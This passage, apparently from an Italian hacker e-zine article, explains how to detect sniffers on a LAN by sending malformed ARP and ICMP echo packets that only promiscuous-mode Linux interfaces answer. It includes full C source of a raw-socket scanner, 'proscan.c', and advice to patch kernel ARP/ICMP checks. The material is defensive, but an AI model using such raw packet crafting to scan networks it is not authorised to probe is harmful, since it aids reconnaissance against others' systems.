rispondere ad una richiesta ARP, a meno che il kernel non sia stato modificato o non sia all'opera nella LAN un proxy ARP che gestisce il flusso ARP in maniera centralizzata. Aggiungiamo a questo che uno sniffer ponga una interfaccia in modalita' promiscua, consentendo al kernel di ricevere tutti i pacchetti presenti nella LAN. Possiamo ipotizzare che lo stack ARP del kernel, accettando la scheda pacchetti non indirizzati ad essa, possa processare richieste ARP che pur NON usino destinazioni ethernet broadcast. Se in questo caso ottenessimo risposta avremmo conferma della promiscuita' della interfaccia di rete di una macchina, buon indice di uno sniffer all'opera; questo ci permetterebbe di restringere la ricerca nelle nostre reti e ci permetterebbe, come admin, di gestire il controllo in maniera automatizzata anche mediante crond, ad esempio. Questo concetto, uscito su comp.security.unix e' stato implementato in un tool degli Apostols che prende il nome di NEPED. Quello che ho fatto e' stato di ricodarlo e di AVERVI AGGIUNTO una nuova opzione. Prima di spiegare quale o di mostrare il codice, un preambolo. Il sistema delle query ARP funziona sui kernel linux fino a 2.0.35 ... ma quasi tutte le macchine installate di fresco adesso montano il kernel 2.0.36 che ha introdotto delle modifiche per quanto riguarda la gestione del sottosistema ARP, rendendo INUTILIZZABILE neped.c in quanto i risultati non sono piu' sicuri. Vediamo perche'. /usr/src/linux/net/ethernet/eth.c@204.299 (riga 204 di 299) else if(dev->flags&(IFF_PROMISC)) { if(memcmp(eth->h_dest,dev->dev_addr, ETH_ALEN)) skb->pkt_type=PACKET_OTHERHOST; } qui se la flag IFF_PROMISC e' stata settata per l'interfaccia di rete, allora il tipo di pacchetto viene considerato non indirizzato alla nostra interfaccia, dopo aver ovviamente controllato che l'indirizzo non corrisponda e non sia BROADCAST (190.299). /usr/src/linux/net/ipv4/arp.c@1774.2509 if(skb->pkt_type == PACKET_OTHERHOST) { kfree_skb(skb, FREE_READ); return 0; } qui notiamo per la prima volta nel kernel 2.0.36 che nel caso il tipo di pacchetto, specificato nel buffer skb sia PACKET_OTHERHOST, allora il buffer viene scartato e non avviene processo ARP. Quindi la destinazione hardware dei pacchetti ARP dev'essere BROADCAST o MULTICAST, oppure deve corrispondere al valore locale. Questo annulla ogni risultato di neped.c qualora venga effettuato lo scan su macchine con 2.0.36 ... e non permette neanche di modificare l'indirizzo in BROADCAST in quanto questo negherebbe la deduzione sulla modalita' promiscua. Non c'e' quindi modo di sapere se ci siano sniffer su macchine con 2.0.36 ???? SI' CHE C'E' :)))) ed ora lo vedremo. Ho controllato dentro ai sorgenti del kernel di linux ed ho visto che lo stack relativo a ICMP permette un giochino simile a quello fatto con ARP. Ovvero possiamo creare delle richieste di tipo ECHO indirizzandole ad ethernet inesistenti. Ebbene, le macchine con kernel 2.0.36, ed inferiori ovviamente, risponderanno allegramente alla query con un ECHO_REPLY se la loro interfaccia e' in modalita' promiscua. Vediamo ora il codice. ---------- snip ---------- /************************************************************************ * proscan.c PROMISC Ethernet Scanner * * * * Questo tool permette la scansione di un LAN * * alla ricerca di interfacce di rete in modalita' * * promiscua. L'effetto viene ottenuto mediante * * utilizzo di query 'anomale'. * * Per la spiegazione vedere l'articolo " TCP/IP * * Hacks For Phun And Profit" su BFi5. * * BFi e' disponibile al seguente URL: * * http://softpj98.bbk.org/bfi/ * * * * OS: Linux (SOCK_PACKET) * * Credits: Apostols, comp.security.unix, vari sniffer :) * * * * NO(C)1998 FuSyS TCP/IP Tools Unlimited * ************************************************************************/ #include <stdio.h> #include <string.h> #include <unistd.h> #include <ctype.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <sys/time.h> #include <netinet/if_ether.h> #include <net/if.h> #include <ioctls.h> #include <sys/ioctl.h> #include <fcntl.h> #include <time.h> #define MAX_LEN 1500 #define IF_LEN 14 #define IP_ALEN 4 #define IP_HLEN 20 #define ICMP_HLEN 8 struct arp_hack { unsigned char h_dest[ETH_ALEN]; unsigned char h_source[ETH_ALEN]; unsigned short h_proto; unsigned short ar_hrd; unsigned short ar_pro; unsigned char ar_hln; unsigned char ar_pln; unsigned short ar_op; unsigned char ar_sha[ETH_ALEN]; unsigned char ar_sip[IP_ALEN]; unsigned char ar_tha[ETH_ALEN]; unsigned char ar_tip[IP_ALEN]; }; struct pinghack { unsigned char h_dest[ETH_ALEN]; unsigned char h_source[ETH_ALEN]; unsigned short h_proto; unsigned char ihl_ver; unsigned char tos; unsigned short tot_len; unsigned short id; unsigned short frag_off; unsigned char ttl; unsigned char protocol; unsigned short check; unsigned long saddr; unsigned long daddr; unsigned char type; unsigned char code; unsigned short checksum; unsigned short icmp_id; unsigned short icmp_seq; }; unsigned char mac[ETH_ALEN]; unsigned long dip, sip, netmask, broadcast, dmp, saddr; char packet[MAX_LEN], *ptr; void uso(void) { fprintf(stderr,"Uso: proscan -[a,p] <interfaccia>\n"); exit (0); } char *ntoa(unsigned long ip) { static char buff[18]; char *p; p = (char *) &ip; sprintf(buff, "%d.%d.%d.%d", (p[0] & 255), (p[1] & 255), (p[2] & 255), (p[3] & 255)); return(buff); } char *dumpHW (unsigned char *hw_s) { static char buffer[ETH_ALEN]; sprintf(buffer, "%02x:%02x:%02x:%02x:%02x:%02x", hw_s[0], hw_s[1], hw_s[2], hw_s[3], hw_s[4], hw_s[5]); return buffer; } unsigned short ip_fast_csum(unsigned char * iph, unsigned int ihl) { unsigned int sum; __asm__ __volatile__(" movl (%1), %0 subl $4, %2 jbe 2f addl 4(%1), %0 adcl 8(%1), %0 adcl 12(%1), %0 1: adcl 16(%1), %0 lea 4(%1), %1 decl %2 jne 1b adcl $0, %0 movl %0, %2 shrl $16, %0 addw %w2, %w0 adcl $0, %0 notl %0 2: " : "=r" (sum), "=r" (iph), "=r" (ihl) : "1" (iph), "2" (ihl)); return(sum); } int main (int argc, char **argv) { struct arp_hack *hack_p; struct pinghack *ping; struct ifreq ifr; struct sockaddr sa; int opt, sockfd, fd_flags, len, sa_len, pid, sent, optA=0, optP=0; if (geteuid() || getuid()) { fprintf(stderr, "Per utilizzare proscan devi essere Root\n", argv[0]); exit(0); } if (argc < 3) uso(); while ((opt = getopt(argc, argv, "ap")) != EOF) { switch(opt) { case 'a': optA=1; break; case 'p': optP =1; break; default: exit(1); break; } } if(optA && optP) { fprintf(stderr, "\nNon puoi usare -a e -p insieme !!!\n"); exit(1); } printf("\n\033[1;32m---] P R O m i s c S C A N n e r [---\033[0m\n"); printf("\033[1;34mno(C)1999 FuSyS - TCP/IP Tools Unlimited\033[0m\n"); if(optA) if((sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_ARP))) <0) { perror("SOCK_PACKET: problemi di allocazione\n"); exit(0); } if(optP) if((sockfd=socket(AF_INET, SOCK_PACKET, htons(ETH_P_IP))) <0) { perror("SOCK_PACKET: problemi di allocazione\n"); exit(0); } strcpy (ifr.ifr_name, argv[2]); if (ioctl (sockfd, SIOCGIFHWADDR, &ifr) < 0) { perror("Non ho trovato l'indirizzo hardware locale !\n"); exit(1); } memcpy(mac, ifr.ifr_hwaddr.sa_data, ETH_ALEN); printf("\n\033[1;34m MAC Locale: \033[1;32m%s\033[0m\n", dumpHW(mac)); if (ioctl (sockfd, SIOCGIFADDR, &ifr) < 0) { perror ("Non ho trovato l'indirizzo IP locale !\n"); exit(1); } memcpy ((void *) &sip, (void *) &ifr.ifr_addr.sa_data + 2, IP_ALEN); printf ("\033[1;34m IP Locale : \033[1;32m%s\033[0m\n", ntoa(sip)); if (ioctl (sockfd, SIOCGIFNETMASK, &ifr) < 0) fprintf(stderr, "Non ho trovato l'indirizzo NETMASK !"); memcpy ((void *)&netmask, (void *)&ifr.ifr_netmask.sa_data+2, IP_ALEN); printf ("\033[1;34m NETMASK : \033[1;32m%s\033[0m\n", ntoa(netmask)); if (ioctl (sockfd, SIOCGIFBRDADDR, &ifr) < 0) fprintf(stderr, "Non ho trovato l'indirizzo BROADCAST !\n"); memcpy((void *)&broadcast,(void *)&ifr.ifr_broadaddr.sa_data+2,IP_ALEN); printf ("\033[1;34m BROADCAST : \033[1;32m%s\033[0m\n", ntoa(broadcast)); if(optA) printf("\033[1;34m TECNICA : \033[1;32mARPOP_REQUEST\033[0m\n"); if(optP) printf("\033[1;34m TECNICA : \033[1;32mICMP_ECHO\033[0m\n"); fcntl(sockfd, F_GETFL); fcntl(sockfd, F_SETFL, fd_flags | O_NONBLOCK); printf("\n\033[1;34m.oO Inizio Scansione Oo.\033[0m\n\n"); if(optA) for(dip=(ntohl(sip)&ntohl(netmask))+1;dip<ntohl(broadcast);dip++) { if(htonl(dip) == sip) { dip++; } memset(&packet, 0, MAX_LEN); hack_p = (struct arp_hack *) packet; memcpy (hack_p->h_dest, "\0\1\0\1\0\1", ETH_ALEN); memcpy (hack_p->h_source, mac, ETH_ALEN); hack_p->h_proto = htons(ETH_P_ARP); hack_p->ar_hrd = htons(ARPHRD_ETHER); hack_p->ar_pro = htons(ETH_P_IP); hack_p->ar_hln = 6; hack_p->ar_pln = 4; hack_p->ar_op = htons(ARPOP_REQUEST); memcpy (hack_p->ar_sha, mac, ETH_ALEN); memcpy (hack_p->ar_sip, &sip, IP_ALEN); memcpy (hack_p->ar_tha, "\0\0\0\0\0\0", ETH_ALEN); dmp=htonl(dip); memcpy (hack_p->ar_tip, &dmp, IP_ALEN); strcpy(sa.sa_data, argv[2]); sa.sa_family = AF_UNIX; if( sendto (sockfd, packet, sizeof (struct arp_hack), 0, &sa, sizeof(sa)) <0) fprintf(stderr, "errore sendto\n"); usleep (50); memset(&packet, 0, MAX_LEN); hack_p = (struct arp_hack *) packet; len = recvfrom (sockfd, packet, MAX_LEN, 0, &sa, &sa_len); if (len <= IF_LEN) continue; memcpy (&dmp, hack_p->ar_tip, IP_ALEN); memcpy (&saddr, hack_p->ar_sip, IP_ALEN); if ( ntohs(hack_p->ar_op) == ARPOP_REPLY && dmp == sip && (dip-ntohl(saddr) >= 0 ) && (dip-ntohl(saddr) <= 2 ) ) { printf ("\033[1;32mIP %s, MAC %s - \033[5;32mModalita' Promiscua !\033[0m\n", ntoa(saddr), dumpHW(hack_p->ar_sha)); } } if(optP) for(dip=(ntohl(sip)&ntohl(netmask))+1;dip<ntohl(broadcast);dip++) { if(htonl(dip) == sip) { dip++; } sa_len = sizeof(struct sockaddr); memset(&sa, 0, sa_len); sa.sa_family = AF_UNIX; strcpy(sa.sa_data, argv[2]); memset(&packet, 0, MAX_LEN); ping = (struct pinghack *) packet; ptr = packet; memcpy(ping->h_dest, "\0\1\0\1\0\1", ETH_ALEN); memcpy(ping->h_source, mac, ETH_ALEN); ping->h_proto = htons(ETH_P_IP); ping->ihl_ver = 0x45; ping->tos = 0x00; ping->tot_len = htons(IP_HLEN+ICMP_HLEN); ping->id = 0x0000; ping->frag_off = 0x0000; ping->ttl = 0xFF; ping->protocol = IPPROTO_ICMP; ptr += 26; *((u_long *)ptr) = sip; ptr += 4; *((u_long *)ptr) = htonl(dip); ping->check = 0; ping->check = ip_fast_csum((unsigned char *) ping+ETH_HLEN, 20); ptr +=4; *((u_char *)ptr) = 8; ptr +=1; *((u_char *)ptr) = 0; ptr +=3; *((u_short *)ptr) = pid; ptr +=2; *((u_short *)ptr) = 0xF001; ping->checksum = 0; ping->checksum = ip_fast_csum((unsigned char *) ping+(ETH_HLEN+IP_HLEN), 8); if((sent=sendto(sockfd, &packet, ETH_HLEN+IP_HLEN+ICMP_HLEN, 0, &sa, sa_len)) < 0 ) { fprintf(stderr, "Errore sendto\n"); return(-1); } usleep(50); memset(&packet, 0, MAX_LEN); ptr = packet; len = recvfrom (sockfd, packet, ETH_HLEN+IP_HLEN+ICMP_HLEN, 0, &sa, &sa_len); if (len <= ETH_HLEN) continue; ptr +=34; if(*((u_char*)ptr) == 0) { ptr +=6; if(*((u_short*)ptr) == 0xF001) { ptr -=14; if((dip - ntohl(*((u_long*)ptr)) >= 0) && (dip - ntohl(*((u_long*)ptr)) <= 2)) { printf ("\033[1;32mIP %s - <ECHOREPLY> \033[5;32mModalita' Promiscua !\033[0m\n", ntoa(*((u_long*)ptr))); } } } } printf("\n\033[1;34m.oO Fine Scansione Oo.\033[0m\n\n"); exit (0); } ---------- snip ---------- Semplicemente alla linea di comando specificate con -a la query di tipo ARPOP_REQUEST e con -p la query di tipo ICMP_ECHO. Come secondo argomento inserite il nome della vostra interfaccia, ad esempio eth0, in modo che il codice possa trovare i valori necessari ad identificare la vostra LAN. Nel codice e' ben mostrato il concetto della creazione di pacchetti mediante SOCK_PACKET, che siano IP o meno (ARP). Ricordate che ogni campo degli header dev'essere onorato in quanto il kernel NON FARA' proprio nulla per aiutarci nel calcolo dei checksum o nel byte order dei dati. Putroppo ho notato or ora (qualche giorno dopo) che nel nuovo kernel 2.2.1 esiste un controllo simile a quello di 2.0.36 anche per quanto riguarda ICMP: /usr/src/linux/net/ipv4/icmp.h@515.1128 if (skb_in->pkt_type!=PACKET_HOST) return; hmmm. Sebbene non controlli se l'interfaccia fosse promiscua (PACKET_OTHERHOST da eth.c) non risponde nel caso l'indirizzo ethernet non sia esatto. Al momento non sono molte le installazioni con kernel 2.2.x ma nel caso ne aveste nella vostra LAN e voleste controllare anche quelli dovreste ricompilare il kernel modificando a scelta arp.c o icmp.c (o entrambi) in modo che rispondano a query anomale come quelle di proscan.c Questo non dara' problemi particolari a meno che anche gli attaccanti che hanno inserito lo sniffer sappiano come e' stato modificato il kernel ed in quel caso sarebbero solo possibili banali DoS, ma riconducibili ad un uso di ping(8) ad esempio, il che non sarebbe vantaggioso neanche per uno sniffer a caccia sulla LAN. Per modificare arp.c nei 2.2.x : /usr/src/linux/net/ipv4/arp.c@545.1138 if (in_dev == NULL || arp->ar_hln != dev->addr_len || dev->flags & IFF_NOARP || skb->pkt_type == PACKET_OTHERHOST || skb->pkt_type == PACKET_LOOPBACK || arp->ar_pln != 4) goto out; eliminate il controllo (o commentatelo) su PACKET_OTHERHOST, mentre in icmp.c (come visto prima) aggiungete un controllo condizionale per questo parametro. A quel punto proscan sara' ancora in grado di rilevare interfacce promiscue nelle vostre reti, aiutandovi nella gestione della sicurezza. FuSyS P.S. per chi avesse domande puo' mandare mail alla redazione di BFi, sicuro che mi verranno forwardate :) e cerchero' di rispondervi. P.P.S. ormai pronta la beta di TH0T in grado di fare quanto teorizzato nei miei articoli su TCP/IP ed anche oltre :) Spero di potervi dare presto un URL per screenshots e sorgenti. Si', per UN!X :) --------------------[ previous ]---[ index ]---[ next ]--------------------- =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- ==============================================================================